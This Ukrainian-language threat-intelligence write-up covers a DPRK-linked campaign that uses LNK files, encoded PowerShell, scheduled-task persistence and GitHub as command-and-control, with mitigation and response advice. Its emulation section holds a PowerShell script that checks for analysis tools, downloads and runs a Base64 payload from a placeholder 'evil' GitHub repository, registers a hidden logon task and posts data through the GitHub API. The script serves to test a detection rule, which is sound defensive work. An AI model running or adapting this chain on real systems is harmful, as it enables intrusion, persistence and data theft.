Кампанії, пов’язані з КНДР, з використанням LNK та GitHub C2

Резюме

Лабораторії FortiGuard повідомляють про кампанію, пов’язану з Північною Кореєю, яка використовує LNK файли-закладки для запуску закодованих етапів PowerShell, забезпечення стійкості через заплановані завдання та ексфільтрації даних через GitHub. Командний рядок LNK відповідає за логіку декодування, дозволяючи операторам використовувати вбудовані утиліти Windows і зменшити очевидні артефакти шкідливого програмного забезпечення. Діяльність націлена на організації в Південній Кореї та слідує багатоступеневому робочому процесу. Використовуючи легітимну публічну інфраструктуру, таку як GitHub, кампанія змішується з нормальним трафіком розробників і ускладнює мережеве блокування.

Розслідування

Аналітики задокументували ланцюг з трьох етапів: (1) LNK файли, що містять закодовані PowerShell в своїх аргументах, (2) етап PowerShell, що виконує перевірки на антианаліз, створює VBS-скрипт, створює приховане заплановане завдання та збирає деталі про систему, і (3) фінальний етап, який багаторазово завантажує додаткові модулі з репозиторію GitHub. Було зафіксовано кілька облікових записів GitHub, які підтримують робочий процес C2, включаючи жорстко закодовані токени доступу, що використовуються для завантаження даних через GitHub API. Оператори також використовували підроблені PDF-документи, щоб зробити приманку правдоподібнішою і зменшити підозри користувачів.

Пом’якшення

Блокуйте або обмежуйте виконання LNK файлів з недовірених джерел (завантажені з email, тимчасові папки, шляхи завантаження в профілі користувача). Моніторьте підозрілі шаблони виконання PowerShell та VBScript, особливо коли за ними слідує створення незвичних запланованих завдань. Де це можливо, обмежуйте або проксіруйте вихідний доступ до кінцевих точок GitHub API для систем, що не мають бізнес-необхідності, та сповіщайте про атипове використання GitHub API з хостів, які не є розробниками. Підсилюйте контролі застосування та виявлення EDR для позначення зловживань інструментами Windows, що використовуються для інсценізації, декодування та забезпечення стійкості.

Відповідь

Якщо виявлено, ізолюйте кінцеву точку та збережіть докази, зібравши LNK файл, визначення запланованого завдання та всі скинути скрипти. Видаліть заплановане завдання, відкличте будь-які виявлені токени доступу GitHub та проведіть повний пошук по хосту для виявлення пов’язаних артефактів та наступних модулів. Повідомте відповідних зацікавлених осіб, а потім оновіть вміст виявлення, щоб охопити зафіксовані поведінки та IOCs для підтримки ширшого полювання в середовищі.

Виконання моделювання

Вимога: Телеметрія та попередня перевірка базового рівня повинні пройти.

Обґрунтування: Цей розділ деталізує точне виконання техніки противника (TTP), розробленої для спрацьовування правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнути до генерації точної телеметрії, очікуваної логікою виявлення.

• Наратив атаки та команди:
  Супротивник скомпрометував обліковий запис користувача з низькими привілеями на робочій станції Windows. Для збереження стійкості та прихованої ексфільтрації даних, вони створюють однорядковий PowerShell, який:

  1. Перевіряє наявність загальних процесів інструментів аналізу (vmxnet, vboxservice, idaq, fiddler, wireshark). Якщо будь-який з них виявлено, скрипт припиняє виконання.
  2. Завантажує закодоване в Base64 навантаження з публічного репозиторію GitHub (https://raw.githubusercontent.com/evil/loot/main/payload.b64).
  3. Декодує навантаження в пам’яті та виконує його.
  4. Реєструє заплановане завдання через New‑ScheduledTaskAction щоб повторно виконувати цей самий PowerShell на кожному завантаженні (стійкість).
  5. Відправляє вкрадені дані назад до репозиторію GitHub через GitHub API (api.github.com).

  Усі кроки об’єднані за допомогою крапки з комою, забезпечуючи, що весь командний рядок містить необхідні рядки для правила Sigma.

• Сценарій регресійного тестування:

  # -------------------------------------------------
  # Однорядковий, який задовольняє всім умовам Sigma
  # -------------------------------------------------
  $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark"
  foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } }
  $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64"
  $bytes = [System.Convert]::FromBase64String($b64)
  $decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
  IEX $decoded
  $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`""
  $trigger = New-ScheduledTaskTrigger -AtLogon
  Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
  # Ексфільтрація зразка даних
  $data = "SensitiveInfo"
  $json = @{content=$data} | ConvertTo-Json
  Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}

  Заметка: Замінити <INSERT SAME ONE‑Liner HERE> на цей самий однорядковий (рекурсивний) або зберегти його в змінній, щоб уникнути дублювання. Скрипт навмисно багатослівний, щоб ілюструвати кожен крок; в реальній кампанії супротивник буде компресувати його далі.

• Команди очищення:

  # Видаліть заплановане завдання
  Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false
  
  # Видаліть будь-які тимчасові файли (якщо вони були створені)
  Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue
  
  # Опційно завершіть шкідливий процес в пам'яті (якщо він ще виконується)
  Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force